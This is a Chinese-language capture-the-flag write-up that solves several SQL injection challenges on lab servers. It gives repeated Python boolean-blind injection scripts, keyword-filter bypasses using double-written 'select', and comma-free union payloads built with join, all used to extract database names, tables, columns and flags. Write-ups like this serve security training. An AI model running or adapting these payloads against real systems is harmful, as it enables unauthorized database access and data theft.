SQL注入——1 在更换?id=3时,它会让你叠加输入tips,此时你就可以看到你输入的sql语句,算是一个帮助吧,然后这关没啥过滤的好像,直接union select联合注入就可以了
SQL注入——2 admin’and 1=1#——账号或密码错误 ——u8bef admin’and 1=2#——账号不存在 —— u5728 判断需要盲注: 写脚本由于不知道列名,所以就不能直接爆破密码,幸好过滤的不是很多,反正substr没被过滤,就开始盲注吧,过滤了select,但是可以用双写绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl="http://eci-2ze42dfnzqpolzrkhy2v.cloudeci1.ichunqiu.com/login.php" s=requests.session() headers = s.get(url).headers password = "" for i in range(1 ,33 ): for j in '0123456789qwertyuiopasdfghjklzxcvbnm!?._+=`~&*{}[]' : payload =f"admin'-(substr(database(),{i} ,1)='{j} ')-'#" print(payload) data = {'name' : payload,'pass' : 'sky' } if 'u5728' in s.post(url=url,data=data).text: password += j print(password) break
得到数据库名字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl="http://eci-2ze42dfnzqpolzrkhy2v.cloudeci1.ichunqiu.com/login.php" s=requests.session() headers = s.get(url).headers password = "" for i in range(1 ,33 ): for j in '0123456789qwertyuiopasdfghjklzxcvbnm!?._+=`~&*{}[],,' : payload =f"admin'-(substr((selselectect table_name from information_schema.tables where table_schema='note' limit 0,1),{i} ,1)='{j} ')-'#" print(payload) data = {'name' : payload,'pass' : 'sky' } if 'u5728' in s.post(url=url,data=data).text: password += j print(password) break
啥?没密码?直接flag了吗,那就继续吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl="http://eci-2ze42dfnzqpolzrkhy2v.cloudeci1.ichunqiu.com/login.php" s=requests.session() headers = s.get(url).headers password = "" for i in range(1 ,33 ): for j in '0123456789qwertyuiopasdfghjklzxcvbnm!?._+=`~&*{}[],,' : payload =f"admin'-(substr((selselectect column_name from information_schema.columns where table_name='fl4g' limit 0,1),{i} ,1)='{j} ')-'#" print(payload) data = {'name' : payload,'pass' : 'sky' } if 'u5728' in s.post(url=url,data=data).text: password += j print(password) break
拿到字段名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl="http://eci-2ze42dfnzqpolzrkhy2v.cloudeci1.ichunqiu.com/login.php" s=requests.session() headers = s.get(url).headers password = "" for i in range(1 ,33 ): for j in '0123456789qwertyuiopasdfghjklzxcvbnm!?._+=`~&*{}[],,' : payload =f"admin'-(substr((seselectlect flag from fl4g limit 0,1),{i} ,1)='{j} ')-'#" print(payload) data = {'name' : payload,'pass' : 'sky' } if 'u5728' in s.post(url=url,data=data).text: password += j print(password) break
拿到flag
感觉没啥难度,唯一卡壳的地方就是一个开始的fuzz过滤看反了,以为select是没过滤的,其他全过滤了,后来发现其实不是滴
web-SQLI 看到提示说有login.php,所以就打开了,发现尝试了很多注入姿势都不对,于是再去找线索,看了一下wp发现原来是l0gin.php== 后来去看了一下 为啥是l0gin.php,说是经验吧。。。。可能确实需要多积累吧,就像之前那个备份文件泄露一样
在进行sql注入的时候,发现输入的内容会显示在id中,当我输入逗号的时候,逗号以后的内容就不会被显示此时有两种解决方法: 1.寻找代替逗号的符号 2.编写盲注脚本,因为发现,如果是正确的后面的username是会现实的,通过后面的-1-以及-0-可以看出 先尝试一下方法1吧:
payload:
1 2 3 ?id=-1'union select * from ((select group_contat(table_name) from information_schema.tables where table_schema=database())a join (select user())b) %23 ?id=-1'union select * from ((select group_concat(column_name) from information_schema.columns where table_name='users')a join (select user())b) %23 ?id=-1'union select * from ((select flag_9c861b688330 from users)a join (select user())b) %23
这里使用的是join代替逗号,需要注意的是,join内容的类型需要一样,其次后面需要加一个字符,然后这里的注释符很奇怪,在这里卡了很久 不能使用–+ 但是可以用%23或者 – - 盲注脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsurl="http://6f89d5298bc448ac8af388b5a68da444863034a569d8481a.changame.ichunqiu.com/l0gin.php?id=" s=requests.session() headers = s.get(url).headers password = "" for i in range(1 ,33 ): for j in '0123456789qwertyuiopasdfghjklzxcvbnm!?._+=`~&*{}[],,' : payload =f"1'-(mid((database())from(-{i} ))='{j} {password} ')-'" print(payload) if 'flag' in s.get(url+payload,headers=headers).text: strA = password password = strA[::-1 ] print(password) password += j strA = password password = strA[::-1 ] print(password) break
这个盲注脚本的语句依旧是沿用之前的,当我在burp suit测试的时候,语句是可以使用的,但是当我放到pycharm跑的时候永远只有一条信息,推测是被拦截了。 最后flag就出来了
绕过参考:https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E5%8E%9F%E7%90%86%E6%80%BB%E7%BB%93/#%E7%BB%95%E8%BF%87%E5%AF%B9%E9%80%97%E5%8F%B7-%E7%9A%84%E8%BF%87%E6%BB%A4